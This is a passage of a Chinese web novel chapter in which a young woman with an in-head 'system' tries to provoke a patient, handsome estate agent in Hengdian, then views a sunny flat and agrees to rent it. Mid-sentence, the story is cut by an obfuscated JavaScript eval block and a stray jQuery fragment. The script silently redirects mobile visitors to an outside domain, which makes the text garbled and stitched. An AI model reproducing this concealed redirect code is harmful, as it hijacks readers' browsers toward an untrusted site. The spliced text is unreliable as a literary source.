那个年轻男人五官立体,鼻梁高挺,下颌线锋利得能裁纸。
可他皮肤过于苍白,嘴角又有点下撇,显得脸上隐隐笼罩愁容,让人不由心生怜爱之情。
林黛玉啊!
“系统系统,你快看。”许荔安在脑子里震惊到尖叫,“这种长相在横店只能当房屋中介?!”
【本系统不具备闲聊及身份扫描功能,建议宿主自行探索。】
许荔安假装生气,实则偷偷欣赏美男。
她甚至径直走到待客区,坐到皮质沙发上,让自己别那么累。
“您好,买房还是想租房?”美男走到她面前,露出一个标准的职业微笑。
许荔安扫了一眼他的工牌。
陈屿,名字不错,配得上这张脸。
“租。”许荔安顺嘴回了一句。
陈屿从茶几上的彩页堆里抽出一张递给她:“建议您看下新鑫花园,我们有业主委托的房源,两室一厅,家电齐全,月租八百。三室的也有,一千一到一千三不等,具体看楼层和朝向。如果对楼盘有兴趣,可以慢慢聊。”
许荔安接过彩页看了一眼。
照片上的客厅比她住的农民房整个都大。布艺沙发,暖黄色窗帘,茶几上摆着一束花。出租屋里那扇朝北的小窗户在她脑子里闪了一下,对比惨烈得像黑白照片和彩色电视放在一起。
许荔安看着对面那张脸,脑子里飞速转着。
自己的打扮,怎么看都不像潜在客户。
这种长相的男人,应该是从小到大被人宠大的吧?没被刁难过吧?
要不要她今天来替天行道,刁难他一下,看能不能提高点评分?
许荔安嘴角露出狡黠的笑容。
试一试又不亏。
“八百?”许荔安音量不大不小,刚好够旁边坐着的一对中年夫妻侧目,“这房子哪年交付的?有没有电梯?隔音怎么样?有没有检修记录?物业费怎么算?”
陈屿抄起桌上另一张宣传单递过来:“户型图、配套说明和物业收费标准都在上面。房子08年交付,电梯品牌三菱,房东本地人,做了三年租赁,口碑一直不错。水电燃气自理,物业费包含在租金里。”
“字那么多懒得看,”许荔安把宣传单推回去,“你跟我细说。”
于是陈屿真的跟她细说。
从电梯使用的年份到楼道清洁频率,从垃圾清运时间到门禁卡更新流程,事无巨细,语气从头到尾平稳得像播音员,脸上连一丝“这人有病吧”的波动都没有。
许荔安故意找点细节当听不懂:“物业费一平方米一块吗?那不是每个月还要额外加快一百。”
旁边的太太实在没忍住,对许荔安说:“小伙子说了包在租金里,不用管的,我都听懂了。”
别人都懂就你不懂,许荔安听出她的潜台词,耳朵尖发烫了,哎,自己果然在这边没天赋。
她清了清嗓子,决定把刁难的等级往上调一档:“房东好说话吗?我养猫,万一抓坏沙发怎么办?”
“房东允许养宠物,但需要签一份宠物补充协议。抓坏家具的话,从押金里按市价扣除。”
“市价?房东定的价要是高出市场价怎么办?”
陈屿从容一笑:“补充协议里会附上家具购买发票或同等型号的市价截图,双方确认后再签字,不会让您单方面承担。”
铺垫得差不多了,开始。
许荔安理直气壮地说:“八百太贵了,我现在租的农民房只要两百块。”
看看这差距,快点沉下脸色,嫌弃我身上没钱,又问东问西浪费你时间吧。她扬起下巴,等着对方嘴角那抹职业笑容终于绷不住裂开缝隙。
“农民房确实便宜,但卫生间公用,没厨房也没电梯。新鑫花园是独立厨卫,电梯房,物业安保齐全,花八百获得更高的生活品质,值得。”
逻辑清晰,没硬推销,没贬低别的选项,甚至给她留了可以继续挑毛病的空间。
“那你觉得我租得起吗?”她说这话的时候语气刻意放软了一点,“我真的很穷你不要为难我。”
她等着陈屿说租不起就别浪费我时间。
结果陈屿只是点了点头,语气没有任何变化:“理解。如果您觉得两室一厅预算超了,我们还有别的小区单间出租,月租六百五,家电少一点,但基本配置都有。”
我说我穷,他说那你租便宜的。我说我嫌弃,他给我详细解释。他到底什么时候才能露出一点看不起我的表情?
许荔安在心里喊了一声系统:“他是不是在阴阳怪气?”
【检测中……未检测到明确鄙视信号。对方语调平稳,面部表情未出现轻蔑、不耐、嘲讽等特征。当前无打脸触发条件。】
“也许他装的好,你去检测一下他真实的内心活动。”
【系统权限不足,无法读取第三方思维。】
许荔安深吸一口气,继续投放弹药:“那中介费怎么收?”
“半个月租金。”
“我直接找房东是不是就不用给中介费了?”
陈屿没有任何攻击性地笑了一下:“如果认识房东本人,确实不用。不过新鑫花园业主多数在外地,联系方式不公开,中介的作用降低沟通成本。您省了时间,我赚了佣金,公平交易。”
许荔安感觉一拳打在了棉花上。
不止,像一拳打在了羽绒被上,还是充绒量特别足的那种。
她决定上一句硬话。
“你叫陈屿是吧?长这样,在横店干中介,不觉得亏吗?”
话说出口,许荔安自己都觉得有点过分,但她就是不信这个人没有软肋。
“各人有各人的路。”陈屿不急不缓地回答,“能做好一件事就不容易了,没什么亏不亏的。”
许荔安张了张嘴,又闭上了。
这句差不多是往脸上招呼了。如果换成她自己被人这么问,她起码要吵上两句。但面前这个人只是把宣传单理整齐,然后抬头问她:“还要再了解一下别的吗?”
她心一横,直接摊牌了。
“你是不是觉得我在浪费你时间?”她又把声音拔高了一点,正在挑房型的中年夫妻终于忍不住给她一个白眼,“我问了这么多又说不租,你是不是心里在骂我穷鬼一个来看什么房?”
从她身上一看就不值钱的上下装,到脚上一高一低的帆布鞋,再到背着的边角磨破的旧书包。任何一个正常的中介,一秒之内就能给客户完成阶级定位。
“没有,”陈屿认真回答,“我觉得您对房子挺有要求的,这是好事。租房和买房一样,住进去舒不舒服只有自己知道。问得越细,以后住着越踏实。”
许荔安怀疑这个人是不是会自动屏蔽客户贫富信号。她做最后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943529|213564||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一次挣扎:“能看房吗?我要实地看过才知道。”
“当然可以。”陈屿指了指门口停着的一辆银灰色电动车,车身上贴着房产中介的广告贴纸,“您稍等,我锁一下桌子,骑电动车带您过去。”
他回工位弯腰锁桌子的时候,衬衫从裤腰里滑出来一点,露出了一截干净利落的腰线。许荔安的视线不由自主地停留,迅速抢在他发现之前移开。
这人得走进多少姑娘的青春啊。
“请跟我来。”陈屿主动拉开玻璃门,“电动车过去大概十分钟。”
许荔安追着补了一句:“你还真带我去看?我不一定租啊。”
“没关系。”陈屿笑容干净到你没法怀疑他有任何杂质,“买房租房都讲究个缘分,看了才知道合不合适。就算不租,了解一下市场行情也好。横店这边租房信息散,多问问不吃亏。”
这个人的职业素养好到不真实,让她觉得自己刻意刁难的那一套在他面前,像小孩跟大人耍赖。
“行,那去看看。”她跟着他走出中介大门。
陈屿跨上电动车,熟练地拧开车锁,拍了拍后座:“上来吧,后座有点窄,您将就一下。”
许荔安侧身坐上去,双手抓住后座金属架。车子平稳启动,慢慢汇入街道。七月的风从耳边灌进来,带着他的衬衫上淡淡的洗衣粉味道。
大约骑了七八分钟,电动车停在一个小区门口,刷了门禁卡,铁栅栏门缓缓打开。
许荔安跳下车。
绿化带里的草修剪整齐,路边矮灌木错落有致。
她跟在他后面进楼。宽敞的门厅,楼道从上到下通铺瓷砖,反射亮晶晶的光,没有她住的农民房的霉味。电梯门打开的时候,里面甚至有面镜子。
四楼。他掏出钥匙开门。
那个瞬间许荔安的脑子里只有一个声音。
我一定要住这种地方。
客厅朝南,阳光铺了一地。厨房有电冰箱和全套灶具,卫生间有热水器,阳台上居然配的自动晾衣架。
生活本该如此,太体面了。
许荔安各个房间转了一圈,家具真材实料,闻不到甲醛味道。帆布鞋踩在木地板上,一点声音都没有。
她开始设想自己坐在阳台上,夏天傍晚的风吹过来,手里端着一杯冰水,没有电瓶车的喇叭声,没有楼下炒菜的油烟味,没有隔壁租户吵架的动静,整个世界安静得只听得见自己呼吸。
陈屿补充道:“这个朝向采光不错,冬天也比较暖和。”
许荔安收回飘散的思绪,努力让自己的语气听起来平常一点:“租金真的是八百?押金怎么说?”
“押一付三,房东的要求。”
三千二,加上中介费四百,一共三千六。
“这是我的名片。”陈屿从衬衫口袋里掏出一张白色卡片递过来,“以后有需求可以联系我。”
许荔安接过来,忍不住问:“你之前带过像我这样的客户吗?就是买不起但是要求一大堆的那种?”
“挺多,您不算要求多的。”
“那要求多的是什么样?”许荔安好奇问。
“看十套房最后要抹掉中介费。”他说得很平静,“您这不算什么。”
她站在洒满阳光的客厅里,把名片认真地塞进书包夹层,然后把拉链小心拉好:“行,这套我租了,你去准备合同吧。”